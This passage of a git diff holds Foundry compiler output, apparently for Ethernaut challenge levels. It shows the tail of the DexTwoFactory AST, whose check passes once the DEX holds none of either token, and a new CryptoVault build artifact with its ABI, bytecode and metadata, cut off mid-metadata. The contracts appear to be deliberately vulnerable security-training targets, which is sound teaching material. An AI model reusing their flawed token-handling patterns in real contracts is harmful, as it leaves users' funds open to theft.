100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":51370,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51298,"src":"927:8:70","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":51372,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"936:13:70","memberName":"add_liquidity","nodeType":"MemberAccess","referencedDeclaration":51075,"src":"927:22:70","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":51375,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"927:49:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51376,"nodeType":"ExpressionStatement","src":"927:49:70"},{"expression":{"arguments":[{"id":51380,"name":"tokenInstanceTwoAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51343,"src":"1009:23:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1034:3:70","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":51377,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51298,"src":"986:8:70","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":51379,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"995:13:70","memberName":"add_liquidity","nodeType":"MemberAccess","referencedDeclaration":51075,"src":"986:22:70","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":51382,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"986:52:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51383,"nodeType":"ExpressionStatement","src":"986:52:70"},{"expression":{"arguments":[{"id":51387,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51290,"src":"1072:7:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":51388,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1081:2:70","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":51384,"name":"tokenInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51313,"src":"1049:13:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51386,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1063:8:70","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"1049:22:70","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51389,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1049:35:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51390,"nodeType":"ExpressionStatement","src":"1049:35:70"},{"expression":{"arguments":[{"id":51394,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51290,"src":"1120:7:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":51395,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1129:2:70","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":51391,"name":"tokenInstanceTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51325,"src":"1094:16:70","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51393,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:8:70","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"1094:25:70","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51396,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:38:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51397,"nodeType":"ExpressionStatement","src":"1094:38:70"},{"expression":{"id":51398,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51305,"src":"1150:15:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":51295,"id":51399,"nodeType":"Return","src":"1143:22:70"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"214:14:70","overrides":{"id":51292,"nodeType":"OverrideSpecifier","overrides":[],"src":"261:8:70"},"parameters":{"id":51291,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51290,"mutability":"mutable","name":"_player","nameLocation":"237:7:70","nodeType":"VariableDeclaration","scope":51401,"src":"229:15:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51289,"name":"address","nodeType":"ElementaryTypeName","src":"229:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"228:17:70"},"returnParameters":{"id":51295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51294,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51401,"src":"279:7:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51293,"name":"address","nodeType":"ElementaryTypeName","src":"279:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"278:9:70"},"scope":51447,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":51446,"nodeType":"FunctionDefinition","src":"1178:311:70","nodes":[],"body":{"id":51445,"nodeType":"Block","src":"1276:213:70","nodes":[],"statements":[{"assignments":[51412],"declarations":[{"constant":false,"id":51412,"mutability":"mutable","name":"token1","nameLocation":"1294:6:70","nodeType":"VariableDeclaration","scope":51445,"src":"1286:14:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51411,"name":"address","nodeType":"ElementaryTypeName","src":"1286:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51418,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":51414,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51403,"src":"1310:9:70","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":51413,"name":"DexTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51225,"src":"1303:6:70","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DexTwo_$51225_$","typeString":"type(contract DexTwo)"}},"id":51415,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1303:17:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":51416,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1321:6:70","memberName":"token1","nodeType":"MemberAccess","referencedDeclaration":51028,"src":"1303:24:70","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":51417,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1303:26:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1286:43:70"},{"assignments":[51420],"declarations":[{"constant":false,"id":51420,"mutability":"mutable","name":"token2","nameLocation":"1347:6:70","nodeType":"VariableDeclaration","scope":51445,"src":"1339:14:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51419,"name":"address","nodeType":"ElementaryTypeName","src":"1339:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51426,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":51422,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51403,"src":"1363:9:70","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":51421,"name":"DexTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51225,"src":"1356:6:70","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DexTwo_$51225_$","typeString":"type(contract DexTwo)"}},"id":51423,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1356:17:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}},"id":51424,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1374:6:70","memberName":"token2","nodeType":"MemberAccess","referencedDeclaration":51030,"src":"1356:24:70","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":51425,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1356:26:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1339:43:70"},{"expression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":51443,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51434,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51431,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51403,"src":"1424:9:70","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"id":51428,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51412,"src":"1406:6:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51427,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1399:6:70","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51429,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1399:14:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51430,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1414:9:70","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1399:24:70","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1399:35:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":51433,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1438:1:70","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1399:40:70","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51442,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51439,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51403,"src":"1467:9:70","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"id":51436,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51420,"src":"1449:6:70","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51435,"name":"ERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47861,"src":"1443:5:70","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_ERC20_$47861_$","typeString":"type(contract ERC20)"}},"id":51437,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1443:13:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ERC20_$47861","typeString":"contract ERC20"}},"id":51438,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1457:9:70","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47374,"src":"1443:23:70","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51440,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1443:34:70","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":51441,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1481:1:70","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1443:39:70","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"1399:83:70","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51410,"id":51444,"nodeType":"Return","src":"1392:90:70"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"1187:16:70","overrides":{"id":51407,"nodeType":"OverrideSpecifier","overrides":[],"src":"1252:8:70"},"parameters":{"id":51406,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51403,"mutability":"mutable","name":"_instance","nameLocation":"1220:9:70","nodeType":"VariableDeclaration","scope":51446,"src":"1204:25:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":51402,"name":"address","nodeType":"ElementaryTypeName","src":"1204:15:70","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":51405,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51446,"src":"1231:7:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51404,"name":"address","nodeType":"ElementaryTypeName","src":"1231:7:70","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1203:36:70"},"returnParameters":{"id":51410,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51409,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51446,"src":"1270:4:70","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51408,"name":"bool","nodeType":"ElementaryTypeName","src":"1270:4:70","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1269:6:70"},"scope":51447,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":51287,"name":"Level","nameLocations":["193:5:70"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"193:5:70"},"id":51288,"nodeType":"InheritanceSpecifier","src":"193:5:70"}],"canonicalName":"DexTwoFactory","contractDependencies":[51225,51281],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51447,55508,46700,48281],"name":"DexTwoFactory","nameLocation":"176:13:70","scope":51448,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":70} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.sol/CryptoVault.json b/contracts/out/DoubleEntryPoint.sol/CryptoVault.json new file mode 100644 index 000000000..b9ce118a7 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.sol/CryptoVault.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"recipient","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"setUnderlying","inputs":[{"name":"latestToken","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"sweepToken","inputs":[{"name":"token","type":"address","internalType":"contract IERC20"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"sweptTokensRecipient","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"underlying","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract IERC20"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506040516103f33803806103f383398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b6103678061008c5f395ff3fe608060405234801561000f575f80fd5b506004361061004a575f3560e01c80631be195601461004e5780633234a197146100635780636f307dc314610091578063bdb2321f146100a4575b5f80fd5b61006161005c3660046102d9565b6100b7565b005b5f54610075906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b600154610075906001600160a01b031681565b6100616100b23660046102d9565b61022f565b6001546001600160a01b039081169082160361011a5760405162461bcd60e51b815260206004820152601f60248201527f43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e0060448201526064015b60405180910390fd5b5f546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906102fb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610207573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022b9190610312565b5050565b6001546001600160a01b0316156102885760405162461bcd60e51b815260206004820152600b60248201527f416c7265616479207365740000000000000000000000000000000000000000006044820152606401610111565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03811681146102d6575f80fd5b50565b5f602082840312156102e9575f80fd5b81356102f4816102c2565b9392505050565b5f6020828403121561030b575f80fd5b5051919050565b5f60208284031215610322575f80fd5b815180151581146102f4575f80fdfea2646970667358221220f81905746f66adb7c26ee21cad54b550de152f67d81bed95a109f49082102d1d64736f6c63430008180033","sourceMap":"1370:582:71:-:0;;;1469:80;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1510:20;:32;;-1:-1:-1;;;;;;1510:32:71;-1:-1:-1;;;;;1510:32:71;;;;;;;;;;1370:582;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;:::-;1370:582:71;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b506004361061004a575f3560e01c80631be195601461004e5780633234a197146100635780636f307dc314610091578063bdb2321f146100a4575b5f80fd5b61006161005c3660046102d9565b6100b7565b005b5f54610075906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b600154610075906001600160a01b031681565b6100616100b23660046102d9565b61022f565b6001546001600160a01b039081169082160361011a5760405162461bcd60e51b815260206004820152601f60248201527f43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e0060448201526064015b60405180910390fd5b5f546040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906102fb565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610207573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022b9190610312565b5050565b6001546001600160a01b0316156102885760405162461bcd60e51b815260206004820152600b60248201527f416c7265616479207365740000000000000000000000000000000000000000006044820152606401610111565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b03811681146102d6575f80fd5b50565b5f602082840312156102e9575f80fd5b81356102f4816102c2565b9392505050565b5f6020828403121561030b575f80fd5b5051919050565b5f60208284031215610322575f80fd5b815180151581146102f4575f80fdfea2646970667358221220f81905746f66adb7c26ee21cad54b550de152f67d81bed95a109f49082102d1d64736f6c63430008180033","sourceMap":"1370:582:71:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1751:199;;;;;;:::i;:::-;;:::i;:::-;;1397:35;;;;;-1:-1:-1;;;;;1397:35:71;;;;;;-1:-1:-1;;;;;621:55:155;;;603:74;;591:2;576:18;1397:35:71;;;;;;;1438:24;;;;;-1:-1:-1;;;;;1438:24:71;;;1555:167;;;;;;:::i;:::-;;:::i;1751:199::-;1819:10;;-1:-1:-1;;;;;1819:10:71;;;1810:19;;;;1802:63;;;;-1:-1:-1;;;1802:63:71;;1397:2:155;1802:63:71;;;1379:21:155;1436:2;1416:18;;;1409:30;1475:33;1455:18;;;1448:61;1526:18;;1802:63:71;;;;;;;;;1890:20;;1912:30;;;;;1936:4;1912:30;;;603:74:155;-1:-1:-1;;;;;1875:14:71;;;;;;1890:20;;;1875:14;;1912:15;;576:18:155;;1912:30:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1875:68;;;;;;;;;;-1:-1:-1;;;;;1936:55:155;;;1875:68:71;;;1918:74:155;2008:18;;;2001:34;1891:18;;1875:68:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;1751:199;:::o;1555:167::-;1632:10;;-1:-1:-1;;;;;1632:10:71;1624:33;1616:57;;;;-1:-1:-1;;;1616:57:71;;2530:2:155;1616:57:71;;;2512:21:155;2569:2;2549:18;;;2542:30;2608:13;2588:18;;;2581:41;2639:18;;1616:57:71;2328:335:155;1616:57:71;1683:10;:32;;;;-1:-1:-1;;;;;1683:32:71;;;;;;;;;;1555:167::o;14:162:155:-;-1:-1:-1;;;;;101:5:155;97:54;90:5;87:65;77:93;;166:1;163;156:12;77:93;14:162;:::o;181:271::-;256:6;309:2;297:9;288:7;284:23;280:32;277:52;;;325:1;322;315:12;277:52;364:9;351:23;383:39;416:5;383:39;:::i;:::-;441:5;181:271;-1:-1:-1;;;181:271:155:o;1555:184::-;1625:6;1678:2;1666:9;1657:7;1653:23;1649:32;1646:52;;;1694:1;1691;1684:12;1646:52;-1:-1:-1;1717:16:155;;1555:184;-1:-1:-1;1555:184:155:o;2046:277::-;2113:6;2166:2;2154:9;2145:7;2141:23;2137:32;2134:52;;;2182:1;2179;2172:12;2134:52;2214:9;2208:16;2267:5;2260:13;2253:21;2246:5;2243:32;2233:60;;2289:1;2286;2279:12","linkReferences":{}},"methodIdentifiers":{"setUnderlying(address)":"bdb2321f","sweepToken(address)":"1be19560","sweptTokensRecipient()":"3234a197","underlying()":"6f307dc3"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"latestToken\",\"type\":\"address\"}],\"name\":\"setUnderlying\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract IERC20\",\"name\":\"token\",\"type\":\"address\"}],\"name\":\"sweepToken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"sweptTokensRecipient\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"underlying\",\"outputs\":[{\"internalType\":\"contract IERC20\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPoint.sol\":\"CryptoVault\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1